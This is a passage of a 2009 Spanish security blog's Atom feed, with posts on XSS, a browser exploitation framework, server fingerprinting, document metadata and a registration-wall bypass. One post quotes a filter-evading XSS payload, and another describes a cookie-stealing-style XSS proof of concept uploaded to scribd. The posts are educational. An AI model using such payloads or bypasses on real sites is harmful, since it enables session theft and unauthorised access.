href="http://planetrenders.net/renders/albums/userpics/24332/papillon%20copie.png"&gt;http://planetrenders.net/renders/albums/userpics/24332/papillon%20copie.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Funciona en todos.&lt;br /&gt;&lt;br /&gt;En otra webs, al querer bajar algo nos lleva a una web asi: http://example.com/register.php?url=http://example.com/downloads/nombre-de-un-archivo.rar&lt;br /&gt;&lt;br /&gt;Esto es para que nos registremos y despues nos redirija a http://example.com/downloads/nombre-de-un-archivo.rar&lt;br /&gt;En muchos casos, al abrir esa url ya descargamos el archivo. También puede ser que se pase por post, hay que mirar las cabeceras http.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-1932823197512470950?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/1932823197512470950/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=1932823197512470950' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1932823197512470950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1932823197512470950'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/saltarse-el-tenes-que-estar-registrado.html' title='Saltarse el &quot;tenes que estar registrado para...&quot;'/><author><name>&amp;gt;&amp;gt; s E t H &amp;lt;&amp;lt;</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_T9ZQx9gPX0g/SLB4XuymANI/AAAAAAAAAAc/rrlFf7SWlG4/s1600-R/16190.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-6606459665829813330</id><published>2009-04-08T15:53:00.004+02:00</published><updated>2009-04-08T16:36:32.408+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Browser Rider'/><category scheme='http://www.blogger.com/atom/ns#' term='Payloads'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Framework'/><title type='text'>Browser Rider: what you never expected your browser could do to you</title><content type='html'>Bueno la verdad es que no tengo demasiado tiempo para contruir un buen artículo (15 minutos XD) ya que al igual que The X-C3LL también parto de vacaciones a mi pueblo, así que en nuestra ausencia me temo que le tocara a seth mantener el blog :P&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Y otra de OWASP se podría decir. Ayer por la noche después de haber estado jugando un poco con igoogle, estaba mirando las conferencias que ya habían terminado haber si podía agarrar algún paper/video de algún sitio. En eso que vi que la &lt;a href="https://www.owasp.org/index.php/OWASP_AU_Conference_2009"&gt;Australia conference&lt;/a&gt; ya había finalizado hace tiempo. Y buscando llegué a las &lt;a href="https://www.owasp.org/index.php/OWASP_AU_Conference_2009_Presentations"&gt;presentaciones&lt;/a&gt; , vi una que me llamó especialmente la atención.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Browser Rider: what you never expected your browser could do to you&lt;br /&gt;&lt;/b&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Browser exploitation is in fashion but it doesn't seem that there's a popular tool to build and run attacks. Browser Rider will try to fill the gap by providing a framework to build, deploy and manage payloads that exploit the browser. This project aims on the long term to provide a powerful, simple and flexible interface to any client side attack for hackers. &lt;/p&gt;&lt;p&gt;Proposal &lt;/p&gt;&lt;p&gt;Browser security has become one of the most discussed subjects. This is mainly due to two things: First, nowadays malwares are not spread over emails any longer but through web application often using JavaScript obfuscation to avoid anti-virus detection. Second as the web is growing new technologies are constantly appearing to enhance the user experience but also offering many new attack vectors. In both cases it is important to understand that the browser offers an easy mechanism for bypassing firewalls and other perimeter security to gain unauthorised access or commit other security breach. &lt;/p&gt;&lt;p&gt;From a security consultant point of view it can be hard to justify the risk of vulnerabilities that affect the browser such as cross-site scripting, cross-site request forgery and unauthorized redirection vulnerabilities as they do not impact directly the server or the database. &lt;/p&gt;&lt;p&gt;Browser rider is a security tool to exploit browser vulnerabilities. It offers several existing payloads but also provides a complete programming framework to develop exploits. It also acts as a management system to deploy your attacks and control the infected browsers. &lt;/p&gt;&lt;p&gt;The first part of this presentation will introduce the audience to the tool and demonstrate many attacks that can be ported to the browser using the Browser Rider. The second part will technically explain how the tool works (i.e. obfuscation, signature detection avoidance, polymorphism, program architecture, framework), how to write your own exploits with it and deploy them. &lt;/p&gt;&lt;p&gt;On the long term Browser Rider aims at becoming a complete solution to execute, develop and test browser based attacks for security consultants. &lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Google un poco y encontré la página oficial de esté proyecto, junto a una presentación ppt.&lt;br /&gt;&lt;/p&gt;&lt;a href="http://engineeringforfun.com/browserrider.html"&gt;Browser Rider - A hacking framework for browser explotation&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://engineeringforfun.com/cave/presentations/BrowserRider_OWASP20090204.ppt"&gt;Browser Rider OWASP 2009 Melbourne Chapter&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Básicamente es un framework basado en payloads una interfaz simple y manejable para cualquier tipo de cliente que se pueda explotar.&lt;br /&gt;&lt;br /&gt;Les recomiendo que prueben la demo online y que consulten la documentación de la wiki.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.engineeringforfun.com/wiki/index.php/Main_Page"&gt;Engineering For Fun Wiki&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos a todos y felices pascuas!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre id="line1"&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6606459665829813330?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/6606459665829813330/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=6606459665829813330' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6606459665829813330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6606459665829813330'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/browser-rider-what-you-never-expected.html' title='Browser Rider: what you never expected your browser could do to you'/><author><name>Lix</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_G9cpo8Zfjo4/SdksBc5MJII/AAAAAAAAABc/W2qtW8lZgUU/S220/fedora-logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5466873471052138759</id><published>2009-04-08T09:41:00.003+02:00</published><updated>2009-04-08T10:08:54.780+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E-Mails'/><title type='text'>El día de los e-mails</title><content type='html'>Saludos a todos, &lt;br /&gt;&lt;br /&gt;  Creo que los miércoles van a ser un buen día para hablar un poco de los comentarios, dudas y sugerencias (tanto negativas como positivas, aquí no censuramos nada) en referente al blog que me llegan a mi buzón.&lt;br /&gt;&lt;br /&gt;  La verdad es que en líneas generales los comentarios han sido positivos de "hey, me gusta tu blog" y similares y el que más se repite "gracias por cambiar de theme, el anterior me producía úlcera", a falta de dos excepciones donde nos ponen a parir. Bueeeno, todo lo que publicamos aquí, o la forma en que lo hacemos, quizá no sea la mejor, aceptamos críticas constructivas... pero algo sí que quiero decir a estas personas...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  En primer lugar a "br3t/\N", el cual en su e-mail nos califica de ir de "Técnicoless". Sinceramente en ningún momento la intencionalidad de este blog es la de asumir los roles de otros personajillos de la red, véase Enrique Dans, y demás personas que viven de la farándula. No queremos ni tener tropecientas visitas, ni ser   "famosetes". Nuestra única intención a través de de este blog es la de transmitir un poco de conocimiento a aquellas personas que se inician en este mundillo o que símplemente desean aprender algo nuevo.&lt;br /&gt;&lt;br /&gt;  Si a través de este blog conseguimos que, aunque sólo un 1% de los lectores, aprendan algo nuevo que les vaya a ser útil, nos damos por satisfechos. Nos consideramos símplemente otro medio de difusión.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Y al otro e-mail enviado por "Anônim@", que desconozco si ese es su nick o símplemente quería pasar como "anónimo", enviado por RecoverPassHotmail002-at-hotmail-dot-com (esto ya da mucho que pensar la verdad...) símplemente decirle que cuando trate de insultar, por favor no agreda tan salvájemente a la Real Academial Española... un pequeño extracto del mail (una pena que lo haya borrado "sin querer"):&lt;br /&gt;&lt;br /&gt;&lt;b&gt;"(...)Sk sois unns atentics lammmmmeeeeeeeeeeerssssssssssssss pk no tneis ni ide sorbe hackear cuenta msn!!!!!!!!! Io si soi un hacker y le robe la cuenta a ds d mi classsse(...)&lt;br /&gt;&lt;br /&gt;(...)buestrs madrs son uns hijas d pupta, y vstros papas tb!!!(...)"&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;  Clap, Clap, magnífico uso de aquesta nuestra lengua... la verdad es que tras leer esto creo que sufrí un terrible y peligroso ataque por este "juacker": un RKD (Remote Kick Dictionary).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Y por último la primera duda que nos hay llegado, aunque no esté relacionada con las vulnes voy a dejar un link que responde muy bien a la duda de "NW-Perl":&lt;br /&gt;&lt;br /&gt;&lt;b&gt;"¿Podrías por favor dejarme algún link donde se hable del manejo de los metadatos en archivos de música en perl? En concreto me interesaría información sobre el formato MP3"&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://husk.org/perl/id3s/notes.html"&gt;Link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En ese link explican bastante bien este tema, espero que te sea de utilidad.&lt;br /&gt;&lt;br /&gt;Lo dicho, sigan mandando sus e-mails, que los miércoles pasaremos a leerlos (y por favor, que sean legibles, no vayan a provocarnos una denegación de servicios por un RKD)&lt;br /&gt;&lt;br /&gt;Byt3z!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5466873471052138759?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5466873471052138759/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5466873471052138759' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5466873471052138759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5466873471052138759'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/el-dia-de-los-e-mails.html' title='El día de los e-mails'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4613074016465093649</id><published>2009-04-06T00:25:00.003+02:00</published><updated>2009-04-08T10:25:45.527+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Enumeración'/><title type='text'>httprecon, identificando servidores web</title><content type='html'>httprecon es un programa para Windows que permite analizar e identificar que servidor http esta corriendo un objetivo. Analiza los banners, códigos de error devueltos, el orden de las cabeceras, etc.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm3.static.flickr.com/2033/2363650256_ebefc22af7.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 500px; height: 486px;" src="http://farm3.static.flickr.com/2033/2363650256_ebefc22af7.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Esta programado en VisualBasic 6 y es de código abierto, además de que se pueden &lt;a href="http://www.computec.ch/projekte/httprecon/?s=database"&gt;ver los datos que utiliza&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.computec.ch/projekte/httprecon/?"&gt;Web&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.computec.ch/projekte/httprecon/?s=download"&gt;Descarga&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.computec.ch/projekte/httprecon/?s=faq"&gt;FAQ&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4613074016465093649?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4613074016465093649/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4613074016465093649' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4613074016465093649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4613074016465093649'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/httprecon-identificando-servidores-web.html' title='httprecon, identificando servidores web'/><author><name>&amp;gt;&amp;gt; s E t H &amp;lt;&amp;lt;</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_T9ZQx9gPX0g/SLB4XuymANI/AAAAAAAAAAc/rrlFf7SWlG4/s1600-R/16190.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2033/2363650256_ebefc22af7_t.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-1232940887032607739</id><published>2009-04-05T23:20:00.018+02:00</published><updated>2009-04-20T17:01:22.769+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Protección XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='CheatSheet'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>XSS (Cross Site Scripting) Prevention Cheat Sheet</title><content type='html'>Buenas! Para los que no me conozcan soy Lix y desde ahora también escribiré en el blog de mi amigo The X-C3LL. Probablemente a algunos les suene mi nombre de los 1000² alagos que me echa Vengador por mis "maravillosos" links que le paso despues de repasar mi burrada de RSS's.&lt;br /&gt;&lt;br /&gt;Espero que todos mis posts les sean de utilidad y que disfruten de ellos.&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Hace algun tiempo cuando The X-C3LL retomó el blog después de su tiempo de inactividad posteo una &lt;a href="http://0verl0ad.blogspot.com/2009/02/xss-cheatsheet.html"&gt;XSS cheat-sheet&lt;/a&gt; , en este post compartió algunos de los metodos mediante los cuales el intentaba bypassear los filtros impuestos en algunos casos que nos dificultan la tarea.&lt;br /&gt;&lt;br /&gt;Revisando la pagina de &lt;a href="http://www.owasp.org/"&gt;OWASP&lt;/a&gt; (la cual visito diariamente) me encontré con este documento:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet"&gt;XSS (Cross Site Scripting) Prevention Cheat Sheet&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cuando nos encontramos con el problema de querer protegernos contra algunos ataques que pueden sufrir nuestras webs normalmente la solución a estos suele ser más tediosa que la simplicidad de los ataques. Al igual que los ataques que pueden ir desde un simple alert(5), hasta ataques más elaborados que intenten bypassear algún tipo de filtro: onmouseover="alert(String.fromCharCode(70,117,99,107,32,105,71,111,111,103,108,101));" . De esta misma forma cuando queremos defendernos de estos ataques disponemos desde soluciones simples y rápidas como sanear nuestra variable simplemente con una función en PHP como &lt;a href="http://us3.php.net/manual/es/function.htmlspecialchars.php"&gt;htmlspecialchars&lt;/a&gt; hasta sistemas más complejos como filtros propios en JavaScript, alguna libreria de filtrado como &lt;a href="http://htmlpurifier.org/"&gt;HTMLPurifier&lt;/a&gt; o algun &lt;a href="http://demo.php-ids.org/"&gt;Web IDS&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;La idea de este post es la misma que la del anterior post de cheatsheet, recolectar varias maneras de prevenirnos de este tipo de ataque, compararlas y seleccionar cual es la más efectiva y segura.&lt;br /&gt;&lt;br /&gt;Saludos y espero que participen...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-1232940887032607739?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/1232940887032607739/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=1232940887032607739' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1232940887032607739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1232940887032607739'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/xss-cross-site-scripting-prevention.html' title='XSS (Cross Site Scripting) Prevention Cheat Sheet'/><author><name>Lix</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_G9cpo8Zfjo4/SdkcZV87exI/AAAAAAAAAA8/kODx6JhkfEQ/S220/Air+A.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5480640792021287794</id><published>2009-04-04T07:37:00.002+02:00</published><updated>2009-04-04T07:44:57.337+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Libros'/><category scheme='http://www.blogger.com/atom/ns#' term='White Papers'/><title type='text'>Hacking RSS and Atom (607 páginas)</title><content type='html'>&lt;h1&gt;Hacking RSS and Atom&lt;/h1&gt;&lt;center&gt;&lt;img src="http://ecx.images-amazon.com/images/I/51G8ZJFXN5L.jpg"&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;  Mi última adquisición, mi lectura para descansar de las tardes de estudio que me esperan XDD.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hates.home.anadolu.edu.tr/books/Computer/Hacking/Hacking%20RSS%20And%20Atom%20%282005%29.pdf"&gt;DESCARGA&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color=red&gt;&lt;b&gt;Que quede claro que símplemente he recolectado el link de internet, YO NO HE SUBIDO ESTE ARCHIVO &lt;/font&gt;(aclaro, que despues los del Copyright se nos ponen farrucos XD)&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5480640792021287794?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5480640792021287794/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5480640792021287794' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5480640792021287794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5480640792021287794'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/hacking-rss-and-atom-607-paginas.html' title='Hacking RSS and Atom (607 páginas)'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-1096547711766566921</id><published>2009-04-03T20:25:00.009+02:00</published><updated>2009-04-03T22:07:51.422+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>XSS a través de OpenOffice</title><content type='html'>Saludos a todos!&lt;br /&gt;&lt;br /&gt;Como es habitual, antes de empezar con la parte técnica, os voy a contar un poco de mi vida... Bien, esta noche voy a volver a las desérticas tierras de Almería para poder disfrutar de estas vacaciones...  en esta semana que viene, continuaré con la parte de Metadatos que se borró (archivos .XLS), ya que en este ordenador no poseo MS Office para poder poner imágenes molonas y todos esos rollos, por lo que a esperar os toca :P (la culpa la tiene Lix por decirme que me ponga Fedora 10 XD). Por otra parte, algo interesante es que probablemente se nos una un compañero más en este patiburrillo que tengo por blog... así que ya podríamos decir que vamos a ser algo parecido a un blog serio.&lt;br /&gt;&lt;br /&gt;Y hasta aquí el avance de noticias, ahora viene la parte técnica&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;==========================&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt; Leyendo por el blog del &lt;a href="http://elladodelmal.blogspot.com/"&gt;Doctor Maligno&lt;/a&gt; me fijé en esto de colgar los PowerPoints de las presentaciones en una web para no tener que descargarlo y poder visualizarlo. Me pareció una cosa bastante curiosa la verdad, y como todo buen curioso me dispuse a leer un poco de cómo funcionaba este sistema.&lt;br /&gt;&lt;br /&gt;La verdad es que ví varias variantes utilizando scripts en PHP, entre los cuales destacaban la conversión de los archivos en .pdf y en .html. Y es al leer sobre este último tipo de conversión donde se me planteó una pequeña idea que me atrajo bastante la verdad... y consiste en introducir código malicioso en el documento para que el .html generado tuviera un link que apuntase a una sentencia JavaScript...&lt;br /&gt;&lt;br /&gt;Entonces me puse mano a la obra, abrí OpenOffice inserté un link con una pequeña sentencia javascript a modo de prueba de concepto:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img408.imageshack.us/img408/4011/pantallazosir.png"&gt;&lt;img src="http://img408.imageshack.us/img408/4011/pantallazosir.png" height="500" width="600" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Despues lo guardé primero como .doc y despues lo pasé a .html. Resultado: al cliclar sobre el link se me ejecutaba el alert. Bien... esto en la teoría debería de funcionar de 10... El caso es que quise probar "in situ" si mi teoría se cumpliría... y me fui hacia scribd.com, web bastante conocida y usada para subir cosas. Así que me encaminé a subir mi prueba de concepto haber que pasaba, aquí teneis el resultado: &lt;a href="http://www.scribd.com/doc/13931124/PoC"&gt;Prueba de Concepto&lt;/a&gt; , si dejais el ratón sobre link, observareis que no indica hacia donde apunta, por lo que no se puede predecir la hacia donde donde apunta el link a simple vista. Si clickais, podreis comprobar en vuestras propias carnes cómo se ejecuta un alert que contiene vuestra galletita :D.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si bien, en el caso la aplicación está en Flash... el resultado era el esperado. Podemos decir que la vulnerabilidad de esta aplicación web reside en dos puntos importantes: falta de filtro, y ocultación de información.&lt;br /&gt;&lt;br /&gt;En el primer caso, de existir algún tipo de filtrado para evitar la ejecución de código javascript, podríamos evitar perfectamente que un usuario al querer seguir el link caiga en nuestras redes. Por otra parte, el hecho de que no se muestre el target del link, hace que también podamos usarlo con otros menesteres, como por ejemplo algún tipo de phising.&lt;br /&gt;&lt;br /&gt;En fin... que revisando información de esta clase de vulnerabilidad, llegué hasta un paper de Aditya K Sood (de SecNiche.org) donde ya hablaba de la utilización de aplicaciones word como vector de ejecución de código javascript y también sobre la inclusión de frames para realizar CSRF. Aquís os dejo el paper:&lt;br /&gt;&lt;br /&gt;http://www.secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-1096547711766566921?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/1096547711766566921/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=1096547711766566921' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1096547711766566921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1096547711766566921'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/xss-traves-de-openoffice.html' title='XSS a través de OpenOffice'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-771775521192238232</id><published>2009-04-01T07:42:00.002+02:00</published><updated>2009-04-01T07:49:04.046+02:00</updated><title type='text'>Nueva incorporación al blog</title><content type='html'>Saludos queridos lectores,&lt;br /&gt;&lt;br /&gt;    Informamos de que un nuevo miembro se nos ha unido a este proyecto/gilipollez de blog que teníamos Mace y yo. En esta ocasión le ha tocado a Seth, uno de esos tipos con los que he es agradable de vez en cuando hablar sobre vulnes, y que siempre te abre conversación con un interesante link... Por supuesto no tanto como los de Lix, XD.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   De todas formas, para aquellos que siguen el blog simplemente deciros que por culpa de unos ataques que ha sufrido en su blog, va a empezar a publicar por estos lares... así qeu ser buenos con él y leed lo que ponga... Y si no os gusta te largas por donde has venido, o como rezaba en XD Blog "Podés irte a defecar".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Sin más que decir me despido, próximas publicaciones desde las desérticas tierras almerienses... ¡¡Que DioX nos coja confesados!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-771775521192238232?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/771775521192238232/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=771775521192238232' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/771775521192238232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/771775521192238232'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/nueva-incorporacion-al-blog.html' title='Nueva incorporación al blog'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-9089314774557176660</id><published>2009-03-16T14:13:00.005+01:00</published><updated>2009-03-16T16:00:19.372+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enumeración'/><category scheme='http://www.blogger.com/atom/ns#' term='Metadatos'/><title type='text'>Metadatos II: Destripando .DOC</title><content type='html'>Saludos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      Ya estamos aquí de nuevo para darle caña a esto de los metadatos. Hoy vamos a hablar un poco sobre los metadatos en documentos word y hojas de cálculo excel, porque creo que son los tipos de archivos ofimáticos que más se pueden exponer, en el sentido de que son los que más se cuelgan en las webs para su descarga.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     Como ya dije con anterioridad, existen múltiples herramientas que nos sacan los metadatos en un plis plás, pero yo lo que pretendo con estos pocos artículos (y con el que voy a hacer con Lix) es enseñaros qué son los metadatos, como podemos verlos, y daros unas pistas de cómo podeis codear vosotros una herramienta que se adapte a vuestras necesidades.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;         Los metadatos, como ya dijimos, contienen distintas informaciones acerca de nuestro documento, ya sean datos de la manipulación del documento, estructura, o descripciones sobre el contenido del mismo. En el caso de los archivos ofimáticos creado con MS-Office, esta información se incorpora de forma automática a nuestro propio archivo, es decir, que en nuestro documento tenemos a parte de nuestro texto, esta información. Como es lógico, si no la eliminamos, cualquier persona a la cual le suministremos nuestro documento podrá analizarlo y extraer datos de cierta relevancia sobre nosotros.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      La forma de extraer estos datos es múltiple, desde simplemente abrir el documento con un editor hexa y buscar información, hasta 